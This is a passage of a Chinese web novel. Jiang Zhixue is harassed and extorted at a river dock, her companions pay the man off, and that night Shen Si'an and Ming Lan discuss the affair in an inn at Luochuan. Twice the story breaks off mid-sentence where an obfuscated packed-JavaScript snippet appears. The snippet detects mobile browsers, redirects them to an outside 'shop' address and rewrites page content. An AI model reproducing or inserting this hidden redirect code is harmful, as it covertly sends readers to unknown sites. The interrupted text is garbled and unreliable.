其人一脸奸相,两双细长的眼中闪着精光,八字胡须随他鼓鼓囊囊上下开合的嘴巴抖动不停。 江知雪直觉不对劲,后退一步,摇头摆手道:“我与夫君及朋友同行,他们就在后方,我需得同他们知会一声。” 她说着,便转身欲走。 谁知面前又来了三个船工打扮的人,将她拦住。 “别急着走啊,孤身来这儿的小娘子都这样说,有亲朋陪同,可等到最后还是孤零零一个人。”那男子又绕到她跟前,将一张油腻的大脸凑近她,慢悠悠道。 江知雪看着跟前三个粗壮大汉,再看周围其他来往船工视若无睹的样子,心中打起了鼓。 这般情形,明眼人一眼便知古怪。只怕渡口这些人都是他的同伙。 想也没想,江知雪立刻大声呼救:“沈……云双!明……唔。”她脑中第一时刻想到的便是沈思安,却恐其暴露,只喊出一个音又连忙拐向其他二人。 可那些人竟直接上手,捂住了她的嘴。 她开始挣扎,手脚不停踢蹬捶打,又被人反剪了胳膊,绑住了双腿。 那肥胖男子笑看向她,摆出无辜神色:“我可什么都没做,小娘子喊什么?可千万别让旁人误会我欺负……哎呦!”话未说完,他的额头便被什么坚硬东西砸中,登时流了血,顺着眼睫往下淌。 忽闻风声从耳边呼啸而过,吹得肥胖男子高帽翻飞。 “谁啊?究竟是谁敢打老子?有本事装神弄鬼,没本事站出来!”他一手扶住帽子,一手捂着额头伤口,环顾四周,大声呼喝。 是沈思安携劲风而来。他以手刀将扮作船工的三人击晕,快速解了她腿上麻绳,将她护至身后,冷眼盯着面前矮小肥胖的男人。 明澜与云双也迅速赶来。 “小姐,你没事吧?”云双扶住她,担忧问道。 江知雪从袖中抽出帕子,将嘴擦了又擦,又啐了口空气,才缓缓摇头,直视肥胖男子:“我无事,那人欲行不轨之事。” “欸,大伙儿可都听见了啊,小娘子说她没事,我可没碰她。倒是我,平白挨了别人一记石子,你看这血流的,可疼死我了。”肥胖男子开始耍无赖。 话语落,吆喝与装卸货物声戛然而止,四下瞬间寂静,只余阵阵木板“咯吱”声由远及近。 几十号船工手拿绳索铁锤等物,成合围之势将几人围在中间。 沈思安左手已抚上隐在腰间的匕首,明澜见状不动声色碰了碰他的胳膊,开始打圆场:“这位……公子。” 他上下打量一番面前的肥胖男子,一声“公子”叫得极为勉强:“听闻洛川物丰民富,繁华热闹,我们特意来此,想涨涨见识。若哪里得罪了诸位,我们在此赔礼了。” 他掏出两锭银子,双手奉到肥胖男子跟前。 对方昂着下巴,垂眼只瞥了一眼,轻嗤道:“我可是被你身边的同伙砸伤了脑袋,你仔细瞧瞧,再深一点我怕是都要魂归西天了。” “是是是,他……”明澜腾出一手指了指头:“这里不太好,都是误会,都是误会,回头我一定好好教训他。”说着又拿出一锭银子。 “这么大个口子,还不知会不会留疤,可别坏了我英俊的相貌。”肥胖男子伸手拿过明澜手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16773215|180836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中银子,揣进自己袖中口袋,又伸出手,一双眼斜看向他。 明澜又取出一锭亲自递到他手上。 “还有这三个被他打晕过去的兄弟呢。” 江知雪看着这一幕,胸口起伏不定,指甲都掐进肉里,眼中怒火快要将那人烧穿。可她深知,现在不是发火的时候,否则明澜为此做出的努力都将白费。 云双轻拍小姐后背,瞧她面上神色,心中称奇。从小到大,小姐从未生过这么大的气,哪怕被大小姐二小姐挖苦、被主母挨罚。 一时之间,她无法找出合适的安慰人的词句,只得轻声安抚:“没事了,没事了。” “这……还请勿要怪罪,我真没有银钱了。”明澜掀开空空如也的袖口,展示给对方看。 不到一刻功夫,明澜已掏空全部家底,前前后后给了那人五十两银。 肥胖男子仍不死心,眯缝眼在几人身上来回滴溜溜地转动,随后盯住云双身上的包袱:“那包袱里头是何物?” “你……”云双率先忍不住,右脚往前挪动一步。 明澜适时制止,隐晦地向她使了个眼色,转头笑着开口:“不过是些换洗衣裳,出门在外,总得备着。”似是怕他不信,又主动拿过其中一个打开,将里头衣物一一抖落给对方看。 “其他两个包袱装的是两位小娘子的,到底私密,望公子大人不计小人过。” 江知雪与云双皆面上一红,对肥胖男子怒目而视。 掂量着两只袖中银两,沉重得快要托不住,肥胖男子闭了闭眼,优哉游哉道:“我王大德不是什么见钱眼开的人,也做不出让小娘子难堪的事。这些银钱补偿兄弟们虽差了点,但看在你们舟车劳顿至此的份上,就尽些东道主之谊,不与你们斤斤计较了。” “如此,便多谢公子和各位弟兄了。”明澜向他及围着的船工拱手作揖,便带着江知雪他们往县里去。 47. 金缕衣(七) 渡口与县城还隔着一段山路。 行至一半,确保那伙人再不会追来,云双又仔细瞧了一遍江知雪是否受伤,狠狠呼出口气,犹愤愤不平道:“真是个奸诈诡辩的小人!” “何止啊,分明卑鄙无耻又下流。”明澜幽幽开口,声音算得上轻快。 听得他的语气,云双不禁侧目:“那可是五十两银子,明澜公子,你难道不觉气愤吗?他在将你当那杂戏的猴耍呢。” “确是一笔大数目,可不是他的东西终究不是他的。至于气愤,”明澜回头,竟笑起来:“与那等小人置气,除了让他越发猖狂外,毫无意义,实在是不值得。” 沈思安眸光微动,偏向明澜。 “你是说遇到这样的事不应该愤怒吗?”迟疑的声音带着微不可察的震怒,云双忍不住质问,他怎么能说出这种话? 明澜隐隐意识到不对劲,连忙找补:“不是,确实应该愤怒,只是不太值得......”惯性的思维让一向能言善辩的他一时想不出什么更好的话去解释。 这和之前的话有什么两样?云双欲再开口,江知雪一手覆上她放在身前的手。 并不长的袖口随着她的动作上移,露出一截雪白手腕,其上染着一圈红痕,有些地方已开始泛青,十分扎眼。 沈思安几乎瞬间就注意到了它的存在,他下意识抬手,欲触碰她的伤处,询问她的感受,踌躇半晌,却又悄然放下了手。 双腕灼热而刺痛,江知雪全然不在意,反而一脸歉疚:“是我疏忽大意,着了那人的道,反而害你白白失了全部银钱……这样,日后你的花销都算在我头上,以弥补我的愧意。” 这一路虽行了不远,时日也算不上长久,经历之事却个挨个的生死攸关。又逢前些日子她与云双因相互猜疑未及时明说差点生了嫌隙,江知雪现下说话多了分直白。 不将心中所想说出口,任凭他人猜测,对方又不是肚中蛔虫,焉知是否与自己的想法差了十万八千里。 “那就多谢……”明澜几乎就要欣然承了江知雪的情,冷不丁后背发凉,往斜后方瞧去,果然见沈思安正盯着他。 他的眼神依旧平静而冷淡,明澜却觉如芒在背,话语随之转了个弯:“倒也不用,我在外行走多年,不至于只有这五十两。此事也非因江姑娘而起,莫要过多自责。”他本也只是想说说玩笑话。 江知雪默然,片刻后,才再次抬眸:“若日后你有所需,尽可找我,凡我能帮得上忙的,定尽全力。”算是认同了他的说辞,可她仍旧眉心紧锁,迟迟不得舒展。 洛川二字皆含水,除渭水外,却无其他水道流经或穿过。 厚重的城墙屹立多年,青石砖上是岁月的斑驳。书有“洛川”的匾额高挂其上,据说是当年先帝到访此处,见其繁华景象,一时兴起所赐。 未至县中,便闻热闹人声,一股子生活气息扑面而来,直把江知雪扑得一瞬怔愣。 有多久没听过这样鲜活的热闹了呢?似乎从星涯坡开始,又似乎是更早,在年前长公主的宴席上。 从那之后,她的生活便沉进了一潭死水中,期间发生的种种巨变,不过是将她推得更深。又经月余奔波惶恐,如今乍然听得这喧嚣,恍惚间她觉仍行在京城之中,阿娘与李婶在引梅园等着她,而她亦不曾也无需经历这些。 一切竟恍如隔世。 可匾额所书到底不是京城,而她……江知雪侧头看向身边沈思安,嘴角向上扬起一个微小弧度。 而她与他既为夫妻,理应同甘共苦,患难与共。她在其声名狼藉里识得他,虽是并不长时日的朝夕相处,但她怜悯他,尊敬他,同时亦好感于他。 有别于男女之情,她敬佩其落入谷底仍不屈的精神,感触其身处高处却良善的本心,一如话本中永远受到追捧、怀有赤忱热血的英雄。 银制面具在天光里发着亮,江知雪脑海中突然闪过方才她惊吓呼喊时,他几乎是瞬间赶到的画面。 或许,在这男女之情中,她对沈思安的好感里也存着一丝心动。 城门大开,周围众多城卫把守,远远望去,仍能见城中人头攒动。然此等热闹繁荣景象,却不见任何进出往来者。 明澜先上前一步去问。 城卫连眼都没抬,只不耐烦地挥了挥手,与明澜不知说了什么。他与城卫几人又攀谈了一会儿,片刻后,才满脸阴郁地回来。 “如何?”江知雪抢先问道。她瞧见了那些人趾高气昂的样子。 明澜摇头,声音多少带了点讽刺:“多稀奇啊,这么大的城门洞开,却只给享高官厚禄的人进出,让百姓从侧门走。” 江知雪与云双不禁错愕,毕竟京城城门都可供百姓自由通行,而洛川一个县城,如何敢做到如此。 连一向冷淡的沈思安都轻微皱了眉头,他与明澜交换一个眼神,皆从对方眼中看到凝重。 一切皆有迹可循。明澜心中暗悔未及时调查清楚,分明半月前洛川还不是这样,须得快些与同伴们联络着手调查了。 城卫们还在互相说着话,个个脸上透着愚蠢的精明,一副神气且眼高于顶的样子,似乎接待达官贵胄能让他们身价倍涨,与有荣焉。 几人再看一眼面前高高的城楼及龙飞凤舞的匾额,最终择道去了侧门。 连日奔波又遇这样那样的怪事,谁都没有心思再逛一逛这座繁华盛誉之下的县城。 一行人寻了家客栈,江知雪主动付了宿钱,几人便匆匆入了各自的屋子歇息。 四月的天幕比三月黑得要晚,却也是很快入了夜,街头巷尾几乎瞬间静了下来,除却打更人不时的梆子声以及巡夜更卒的脚步声,只余树头草丛的虫鸣。 江知雪躺在床上辗转反侧,总觉得到处透着奇怪。 她猛然从床上坐起,穿上鞋,径直往门口走去,双手触上门扣,又忽而停顿,几番纠结挣扎后,似终于鼓足勇气,才拉开门扉。 她想去找沈思安确定一些事。 隔壁屋子里漆黑一片,江知雪抬手欲轻叩木门,又担心他已就寝,到底还是放下手,轻手轻脚以耳贴门,仔细辨认屋中声响。 然其中一丝声音也无。也是,这么些天的疲倦,他身体还虚,估计是睡下了。 “罢了,明日再问也不迟。”江知雪无法,悻悻然往回走,心中如是想。 沈思安此时没有睡下,也并不在屋中,而是在明澜那里与其商谈。 二人静默,待脚步声远去,明澜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16803052|180836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才低声道:“江姑娘找你呢。” 沈思安点头,表示知道。 “不去看看她?”明澜脸上有明显的揶揄之色。 沈思安提笔在纸上写:“再等等。”复又抬眼看他,静静观他神色,又道:“今日山路何故那般言语?” 明澜有些发懵,双眼睁得大大的,揶揄之色早就消失得没了影。他小心问:“什么话?” “你说‘不值得气愤。’” 明澜瞬间明白他指的是什么事,只觉是来为在意之人打抱不平,脸上表情松懈下来,却也认真解释:“我确实不认为同那等无耻小人置气有什么用处,这种人,你越气便是越中他下怀,倒不如泰然处之,免得气坏了身子。” “可她们是女子。”她们是女子,名声于她们而言是可以比命还重要的存在,被陌生男子那样冒犯和触碰,已是屈辱至极。他见过太多因此被家中或夫家逼死的女子,亦见过自觉受辱无颜苟活而自杀之人。这般行径,怎能不愤怒? 明澜并未将视线投注在女子身上,仅仅是立足于自身来评判,如何能算作对? 只简短一句话,明澜就知道了对方的意思。 他并非一根死脑筋、一条路走到黑的性子。相反,在其母亲的亲自教导下,和幼年便外出闯荡的经历中,他思维敏捷,极懂察言观色,不看出身门第,亦未看轻过女子。 他知师弟是为点醒他,以手托脸认真思考,终是意识到自己的不对,但他仍不解:“我娘也是女子,与男子打打杀杀肢体触碰,为何不生气,反而笑盈盈的?” 沈思安这才发觉,他不单未顺着他人角度去细想,更是给自己思想画了个圈:“虽皆为女子,她们与师父不同。她们是闺阁女子,受礼俗规训。而师父,才是当世之下的特例。”他也在宫中见惯了受规矩束缚的女子,上至皇后,下至杂役宫女,无一例外。 世家规矩,他见过许多,亦跟在沈思安身边见识了更多。明澜这才恍然惊觉自己犯了多大的错。 他连声哀叹自己悔恨晚矣,便要去登门再次赔罪。 沈思安拦住他。明澜急道:“别拦我了,你想见我今夜在痛苦中度过吗?” 沈思安摇头,在纸上疾写:“夜已深,你还有别的事要做。” “你如何知道?”话题被成功转开,明澜诧异又谨慎。他害怕沈思安不让他去教训那个奸诈的王大德,毕竟他最看重礼法。 对方不言,只指了指自己眼睛。 “哈哈哈,真是知师兄者莫如师弟你啊。”明澜干笑两声,内心忐忑。 “谨慎些,莫露了行踪,注意安全。” “你没拒绝?”明澜看着纸上的字,声音里藏不住的惊喜:“那我可真去了?”说着步子已经往窗口迈去。 沈思安又一把抓住他手臂,另一只手将纸张摆到他眼前,其上行云流水三个大字:“化瘀膏。” “就在床边包袱里,细青纹圆瓶,同色瓷盖,你拿了就是。”明澜待他松开手,又快步走,行至窗边,又想到什么,回头对他道:“明日我定郑重向江姑娘与云双道歉。”便跨出窗,飞身离开。 沈思安识得大部分药,轻车熟路拿了化瘀膏的瓷瓶,将包袱系好,推门朝江知雪屋子走去。